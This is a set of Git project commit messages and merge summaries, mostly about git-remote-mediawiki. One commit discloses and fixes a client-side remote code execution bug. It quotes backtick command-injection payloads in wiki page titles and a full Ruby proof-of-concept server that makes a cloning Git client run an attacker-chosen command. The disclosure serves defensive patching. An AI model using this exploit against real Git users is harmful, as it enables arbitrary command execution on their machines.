Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:
sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'
I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.
Suggested-by: Jeff King <peff@peff.net>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.
We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.
This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Invoking commands as "git $args" doesn't quote $args. Let's support
["git", $args] as well, and create corresponding run_git_quoted() and
run_git_unquoted() aliases for subsequent changes when we move the
code over to the new style of invoking this function. At that point
we'll delete the then-unused run_git() wrapper.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.
We need to add an extra test_path_is_file() here because since
d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09)
test_cmp has errored out with a BUG if one of the test arguments
doesn't exist, without that the test would still fail even without
test_expect_failure().
1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Fix a bug with revisions being imported twice. This commit is being
backported from Git-Mediawiki.git's e41ee9b ("All revisions imported
twice", 2018-02-02) to git.git. See [1] for the original commit and
[2] and [3] for the upstream PR and issue.
1. e41ee9b3a3
2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61
3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.
The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.
As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.
This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.
While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)
* Use MediaWiki's own defaults where possible, e.g. before we'd name
the database "wikidb.sqlite", now we'll simply use whatever name
MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
directory name the SQLite file will be dropped into, not the full
path.
* Put all of our database & download assets into a new "mediawiki/"
folder. This makes it easier to reason about as the current &
template "backup" database the tests keep swapping around live
next to each other.
This'll also prevent future potential breakage as there isn't a
single SQLite database. MediaWiki also creates a job queue
database and a couple of cache databases. In practice it seems we
got away with not resetting these when we reset the main database,
but it's the sort of thing that could break in the future (reset,
main store doesn't have the article, but the cache does).
* The "delete" function now only deletes the MediaWiki installation
& database, not the downloaded .tar.gz file. This makes us
friendlier to a developer on a slow connection.
1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and
clear a MediaWiki", 2012-07-06)
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Replace the use of the "open" pragma with a three-arg open in the
places that actually care about UTF-8, while leaving those that
don't (the config parsing).
Unlike the previous "encoding" pragma change this isn't needed for
compatibility with anything. I just think it's easier to read code
that has localized effects than code that changes global settings.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).
What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.
This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change the dispatch table code in test-gitmw.pl to use a hash where
subroutine references are the values. This is more obvious than a hash
where the values are strings we'll use to go searching around in the
symbol table for the function.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change UI messages to use "$dir/" instead of "$dir.". I think this is
less confusing when referring to an absolute directory path.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Convert `[]` to `test` and break if-then into separate lines, both of
which bring the style in line with Git's coding guidelines.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change code that used an ad-hoc "diff -b" invocation to use our
test_cmp helper instead. I'm also changing the order of arguments to
be the standard "test_cmp <expected> <actual>".
Using test_cmp has different semantics since the "-b" option to diff
causes it to ignore whitespace, but in these cases the use of "-b" was
just meaningless boilerplate. The desired semantics here are to
compare "git log" lines with know-good data, so we don't want to
ignore whitespace.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
In more recent versions of MediaWiki this is a requirement, e.g. the
current stable version of 1.32.2.
The web installer now refuses our old 9 character password, the
command-line one (will be used in a subsequent change) will accept it,
but trying to use it in the web UI will emit an error asking the user
to reset the password. Let's use a password that'll just work and
allow us to log in as the admin user.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change a hardcoded user/password for the corresponding variable
defined in contrib/mw-to-git/t/test.config.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change the hardcoded version 5 PHP versions to the version-agnostic
packages. Currently Debian stable's version is 7.3, and there's a
php7.3, php7.3-cli etc. package available (but no php5-*).
The corresponding version-less package is a dependency package which
depends on whatever the current stable version is. By not hardcoding
the version these instructions won't be out of date when the next
Debian/Ubuntu release happens.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Amend a comment in the test.config file to point to the latest
upstream version, which makes it easier for the user to tweak this.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change the link to the canonical one, the old link redirects to the
new one.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Fix build procedure for MSVC.
* os/vcbuild:
contrib/buildsystems: fix expat library name for generated vcxproj
vcbuild: fix batch file name in README
vcbuild: fix library name for expat with make MSVC=1
"git status" has trouble showing where it came from by interpreting
reflog entries that recordcertain events, e.g. "checkout @{u}", and
gives a hard/fatal error. Even though it inherently is impossible
to give a correct answer because the reflog entries lose some
information (e.g. "@{u}" does not record what branch the user was
on hence which branch 'the upstream' needs to be computed, and even
if the record were available, the relationship between branches may
have changed), at least hide the error to allow "status" show its
output.
* jt/interpret-branch-name-fallback:
wt-status: tolerate dangling marks
refs: move dwim_ref() to header file
sha1-name: replace unsigned int with option struct
The "--format=" option to the "for-each-ref" command and friends
learned a few more tricks, e.g. the ":short" suffix that applies to
"objectname" now also can be used for "parent", "tree", etc.
* hv/ref-filter-misc:
ref-filter: add `sanitize` option for 'subject' atom
pretty: refactor `format_sanitized_subject()`
ref-filter: add `short` modifier to 'parent' atom
ref-filter: add `short` modifier to 'tree' atom
ref-filter: rename `objectname` related functions and fields
ref-filter: modify error messages in `grab_objectname()`
ref-filter: refactor `grab_objectname()`
ref-filter: support different email formats
Fixups to a topic in 'next'.
* ss/submodule-summary-in-c-fixes:
t7421: eliminate 'grep' check in t7421.4 for mingw compatibility
submodule: fix style in function definition
submodule: eliminate unused parameters from print_submodule_summary()
Internal API clean-up to handle two options "diff-index" and "log"
have, which happen to share the same short form, more sensibly.
* so/separate-field-for-m-and-diff-merges:
revision: add separate field for "-m" of "diff-index -m"
"git worktree" gained a "repair" subcommand to help users recover
after moving the worktrees or repository manually without telling
Git. Also, "git init --separate-git-dir" no longer corrupts
administrative data related to linked worktrees.
* es/worktree-repair:
init: make --separate-git-dir work from within linked worktree
init: teach --separate-git-dir to repair linked worktrees
worktree: teach "repair" to fix outgoing links to worktrees
worktree: teach "repair" to fix worktree back-links to main worktree
worktree: add skeleton "repair" command
When a packfile is removed by "git repack", multi-pack-index gets
cleared; the code was taught to do so less aggressively by first
checking if the midx actually refers to a pack that no longer
exists.
* tb/repack-clearing-midx:
midx: traverse the local MIDX first
builtin/repack.c: invalidate MIDX only when necessary
Yet another subcommand of "git submodule" is getting rewritten in C.
* ss/submodule-summary-in-c:
submodule: port submodule subcommand 'summary' from shell to C
t7421: introduce a test script for verifying 'summary' output
submodule: rename helper functions to avoid ambiguity
submodule: remove extra line feeds between callback struct and macro
expat.lib -> libexpat.lib (libexpatd.lib for debug build).
Signed-off-by: Orgad Shaneh <orgads@gmail.com>
Acked-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
It was possible for xrealloc() to send a non-NULL pointer that has
been freed, which has been fixed.
* jk/xrealloc-avoid-use-after-free:
xrealloc: do not reuse pointer freed by zero-length realloc()
"git diff --stat -w" showed 0-line changes for paths whose changes
were only whitespaces, which was not intuitive. We now omit such
paths from the stat output.
* mr/diff-hide-stat-wo-textual-change:
diff: teach --stat to ignore uninteresting modifications
Updates to on-demand fetching code in lazily cloned repositories.
* jt/lazy-fetch:
fetch: no FETCH_HEAD display if --no-write-fetch-head
fetch-pack: remove no_dependents code
promisor-remote: lazy-fetch objects in subprocess
fetch-pack: do not lazy-fetch during ref iteration
fetch: only populate existing_refs if needed
fetch: avoid reading submodule config until needed
fetch: allow refspecs specified through stdin
negotiator/noop: add noop fetch negotiator
A handful of places in in-tree code still relied on being able to
execute the git subcommands, especially built-ins, in "git-foo"
form, which have been corrected.
* jc/undash-in-tree-git-callers:
credential-cache: use child_process.args
cvsexportcommit: do not run git programs in dashed form
transport-helper: do not run git-remote-ext etc. in dashed form
Trim an unused binary and turn a bunch of commands into built-in.
* jk/slimmed-down:
drop vcs-svn experiment
make git-fast-import a builtin
make git-bugreport a builtin
make credential helpers builtins
Makefile: drop builtins from MSVC pdb list
Bugfix for "git fetch" when the packfile URI capability is in use.
* jt/fetch-pack-loosen-validation-with-packfile-uri:
fetch-pack: make packfile URIs work with transfer.fsckobjects
fetch-pack: document only_packfile in get_pack()
(various): document from_promisor parameter
Test clean-up.
* ss/t7401-modernize:
t7401: add a NEEDSWORK
t7401: change indentation for enhanced readability
t7401: change syntax of test_i18ncmp calls for clarity
t7401: use 'short' instead of 'verify' and cut in rev-parse calls
t7401: modernize style
"git rebase -i" learns a bit more options.
* pw/rebase-i-more-options:
t3436: do not run git-merge-recursive in dashed form
rebase: add --reset-author-date
rebase -i: support --ignore-date
rebase -i: support --committer-date-is-author-date
am: stop exporting GIT_COMMITTER_DATE
rebase -i: add --ignore-whitespace flag
Signed-off-by: Orgad Shaneh <orgads@gmail.com>
Acked-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Signed-off-by: Orgad Shaneh <orgads@gmail.com>
Acked-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
When a user checks out the upstream branch of HEAD, the upstream branch
not being a local branch, and then runs "git status", like this:
git clone $URL client
cd client
git checkout @{u}
git status
no status is printed, but instead an error message:
fatal: HEAD does not point to a branch
(This error message when running "git branch" persists even after
checking out other things - it only stops after checking out a branch.)
This is because "git status" reads the reflog when determining the "HEAD
detached" message, and thus attempts to DWIM "@{u}", but that doesn't
work because HEAD no longer points to a branch.
Therefore, when calculating the status of a worktree, tolerate dangling
marks. This is done by adding an additional parameter to
dwim_ref() and repo_dwim_ref().
Signed-off-by: Jonathan Tan <jonathantanmy@google.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Ævar Arnfjörð Bjarmason
Simon Legner
Junio C Hamano
Orgad Shaneh
Jonathan Tan